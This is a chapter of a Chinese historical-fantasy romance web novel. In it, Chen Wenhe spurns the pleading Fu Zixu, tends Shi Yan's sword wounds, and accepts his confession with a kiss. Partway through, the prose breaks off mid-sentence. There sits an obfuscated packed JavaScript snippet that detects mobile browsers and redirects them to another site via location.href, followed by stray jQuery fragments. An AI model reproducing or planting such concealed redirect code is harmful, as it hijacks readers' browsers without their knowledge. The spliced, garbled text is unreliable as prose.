师厌这一刀太快,陈文荷下意识闭上眼,可还没等到那温热的血液飞溅到脸上,人就被伏子絮拉了过去。
斩魂刀下空无一物,伏子絮那只手完好无损,连同那皓白的手腕都没有半分损伤,那只原本在刀下的手匪夷所思地反架在斩魂刀背上,另一只手则冷酷地将陈文荷带了过去。
“我说了,你没得选。”
伴随着伏子絮这句话,陈文荷第一次感觉头皮发麻,连站在她身后确定自己那一刀下去会让伏子絮断腕的师厌也变了脸色。
“……你不会受伤,是么?”
陈文荷有些难以置信地抬头。
这就是陈王身边第一人的底牌,那其他那些能人异士呢?是否也各有神通。
他们每一个都是肉体凡胎,难道就因为这个,陈王便能霸业始终,若是有这样的力量,她所做的一切都是白费力气!
伏子絮并不解答,凝视着她姣好的容颜,半晌,眼眶微红,最后放低姿态:“你想要权力,我一样可以给你。”
“陈文荷,我手里还有很多东西,天罡府的秘密你想要吗?再建一个新的王朝,我还是少天师,甚至这次连兵权也归我。”
“你再委屈一下,骗骗我,行不行?”他哀求道。
“……你喜欢我?”
陈文荷脸上的冰冷沉郁一扫而空,终于露出了一个伏子絮熟悉的笑容。
伏子絮原本的犹豫在她笑脸相迎的时候就被瞬间冲散,认命地低头,哑声道:“喜欢。”
骗不了自己的,无可救药的喜欢。
“我跟你走不是不行,你知道我的目的不止于此,带陈王的尸体来见我,我跟你走。”陈文荷笑着说。
师厌冷冷睨着他,果然,伏子絮手指蜷缩了下:“这个不行。”
“那你杀了伏清玄也可以。”陈文荷并不强人所难,见伏子絮错愕地抬起头来,她眨眨眼睛:“我不喜欢有人分走我的权力,你说你的可以给我,他的却不会无条件给我,当然要杀掉才能抢到。”
“不止伏清玄,陈王重用的心腹,我也都会一一杀光,只留下我们两个最好,你帮我就行,这样——你意下如何?”
她说的云淡风轻,伏子絮却有些干涩地继续开口:“师兄不行,其他……都可以。”
“你只有一个师兄吗?”陈文荷笑吟吟道:“要是陈王发现你只对他心软,将你在麓山的其他师兄弟请出山再来主持朝政,又当如何?”
伏子絮皱眉道:“我……”
“我骗你的。”陈文荷打断他的话,笑容渐收。
“伏子絮,你从未经历我所经历的日子,哪怕叫你想象都想象不出来,你吃过最多的苦,最多只是清修时食不果腹。”
她退后几步:“若我同你一般好命,我也会高高在上,挑剔着吃穿用度,挑剔着枕边人是否身份高贵,血统纯正。”
“收起你的怜爱,”陈文荷目光再无惧意:“那只是你对我随心所欲的施舍,我命里从来就没这东西。”
“我走到今天,你一个不伤之人就能叫我放弃吗?”陈文荷轻笑:“知道的越多,越说明我们是两个世界的人,就算楚京之人个个如你一般身怀绝技,我也要攻,你最好有多远滚多远。”
丢下狠话,她拉住师厌扬长而去。
伏子絮则浑身发冷,丢了魂似的留在原地。
天空中又开始聚拢乌云,多雨的山间很快就有豆大的雨珠砸向四方,伏子絮没有撑伞,一步步沉重地朝陈文荷方才出来的山里走去,瞧见了那大雨之中矗立的墓碑。
难怪,她对他毫无情分可言,伏子絮自嘲一笑,泥泞破烂的外袍溅上无数泥点,逐渐脏污得不成样子,他任其拖尾,于大雨瓢泼之际离开。
……
师厌脸上的伤口须得小心处理,陈文荷取出伏子絮方才给她敷伤口的瓷瓶,一点一点给他抹。
不知道青龙剑有什么玄机,总归这样妥当些。
“他给你的?”瞧见那明显异于其他药物的青色软膏,师厌微微不悦。
“我偷的。”陈文荷睨他一眼。
师厌盘膝坐在地上,眼睛一眨不眨地看着她,陈文荷抚过他面颊伤处后,又见他身上被切得零零碎碎的伤口:“衣服脱了。”
师厌似笑非笑地看了她一眼,可陈文荷那张俏丽的脸平静如水,他稍感郁闷,这还是第一次有女人敢这么跟他说话。
他剥开衣服,露出精壮的胸膛,堪称完美的身材公然示于人前,师厌是极高挑的,然而他身形颀长却不雄壮,宽肩窄腰,腹肌沟壑明显,不过分夸张的肌肉微微隆起,寻常女子看了定会脸红心跳。
冷白似玉的皮肤上有许多细密剑伤,陈文荷贴了近了些,女子轻柔幽慢的呼吸扑在他肩窝、腰侧等地方,吐气如兰,带着她身上独有的、清意融融的花香。
绮念升腾而起,师厌觉得她细白指尖碰过的皮肤都开始发烫,陈文荷纤长如蝶翼的眼睫轻轻扇动,看得人心痒难耐。
她清雅秀美的脸庞尤为冷淡,刚刚经历了一场不太愉悦的争执,陈文荷连半点笑意也懒得假装,五官弧度都是生硬的。
可他觉得这样的陈文荷美极了。
顺着他腹肌上的沟壑一路向下涂抹,直到最后一处渗血的口子都被抹平,陈文荷明显感觉到身下的男子越到后面越发紧张,他出了层薄汗,肌肤泛着点不正常的粉色,便抬眼淡淡看了他一眼。
与她身体接触片刻,师厌便知道自己已经起了反应,不觉得羞赧,反而坦然笑道:“下半身你也帮帮我?”
陈文荷面无表情地塞上药塞,将冰冷的瓷瓶砸在他胸口。
“下次不要跟他动手了,”她用冷水浸过的帕子擦拭了一下指尖:“既然是白费力气,找个能困住他的东西就好,哪怕是石头也得沉底。”
看出她对伏子絮的绝情,师厌心情极好:“我知道。”
送过药,陈文荷转身欲走,又被他从身后拥住,男子尚带热气的身体紧贴上来,她在师厌怀里稍微僵了僵。
“我知道你难过,”师厌在她耳侧轻声道:“因为唐无双的事情,一天下来都没精打采的。”
缠在她盈盈一握的腰肢上的双臂开始收紧,师厌汲取着陈文荷发间柔软的香气,闭上眼睛:“我有话跟你说。”
“那也不用抱着说。”陈文荷还是冷冷淡淡。
“可我想抱抱你,”师厌把她抱到腿上换了个姿势,单手揽过她腰背,让人侧坐着紧靠在自己胸膛处,语气透着丝丝幽怨:“我都好久没有抱你了……”
毕竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967109|167303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是他受伤,陈文荷拧了拧眉心,还是伸手帮他把半散下的长发重新系起来,免得擦到背上伤口,做完这一切,她双手还停在师厌宽阔的肩侧,像是在抱他。
“我生辰那日,长生殿召我回去,”师厌嘴角噙了些笑意:“法心与唐澜约定,要将羯部乃至羌煞赶出中原腹地,永不再犯,这是整个江湖盟和幽州驻城军的决定。”
“唐无双与唐澜父女在外征战多年,还有忠威侯、淮阴侯常去帮忙,可异族屡屡进犯,始终是权晋一块心病,她对杀掉赤那执念颇深,只不过恰逢内乱,许多人自顾不暇,无人肯此时为了外患施以援手,才落得这般下场。”
捧住她的脸轻轻摩挲,师厌继续道:“这不是你的错。”
陈文荷在他怀里沉默不语。
“原本我也要被迫参与其中,可法心和段谯声却实在拿不出什么人来压我,”师厌注视着她:“陈文荷,我向你承诺,只要我还有一口气在,就不会离你而去。”
陈文荷落在他肩上的手明显轻轻颤了一下,涣散无神的双眸清明些许,带着些许惊讶望着他。
“唐无双武艺数一数二,但她有责任在身,身死之前,甚至连沈知青的心意都没能弄明白,”师厌语气中带了淡淡的惋惜:“我不想重蹈覆辙。”
“即使武功登峰造极,天下第一,若决心要守住一座城,守住一方百姓,也可能一夜之间埋骨,”师厌倾身吻了吻她的面颊:“我可没什么高尚品性,济世胸怀,只想护一人……护一辈子。”
“你拒绝过我一次,可我还是想问,”鼻尖相抵,他的呼吸如此灼热,向来冷冰冰的桃花眼中燃烧着惊人的温度,缠在她唇边轻轻喘着气问道:“你能不能……试着喜欢一下我?”
他几乎吻上来,即使冷静如陈文荷,此时也有些紧张,略显慌乱地抵住他的肩膀,脸颊微烧。
“你……为什么非我不可?”她沉下声音,努力开口道。
为什么偏偏是她?师厌也曾想过这个问题,可回忆起来二人相识的一点一滴,一幕幕清晰得仿佛就在昨日。
没有为什么,喜欢就是喜欢,逐渐演变成无药可救的迷恋,层层攀升,不得到绝不罢手。
“……你那些郎君都是废物,没有一个能有我陪你长久,”师厌眼底深深一片,俯身抱紧了她:“陈文荷,你选我吧。”
有他在,她没有后顾之忧,无论惹了什么都能全身而退。
他从来孤单一人,厌恶与旁人接触,没有亲族,没有沾身的女子,安分守己。
他年轻有为,相貌身材都是上等,与她相识在前。
其实选与不选又有什么区别,他一直在她身边,她又何尝不是一直跟他在一起呢?从师厌承诺的那一天起,或许……他们注定会纠缠一辈子。
陈文荷目光逐渐软了下来,晦涩不明的心思翻涌,挣扎,归为平静。
最终,在他灼灼目光注视下,慢慢点了点头。
唇上蓦然一凉,师厌扣住她后脑,牢牢堵住他觊觎已久的淡粉色唇瓣,撬开她不设防的齿关,深深攫取,探入其中。
陈文荷在他怀中软了半边身子,接连不断的酥麻感从唇齿相依处不断传来,被缠吻到面色潮红,定情之初,男女混在一处的轻声喘息难舍难分地交缠、回荡。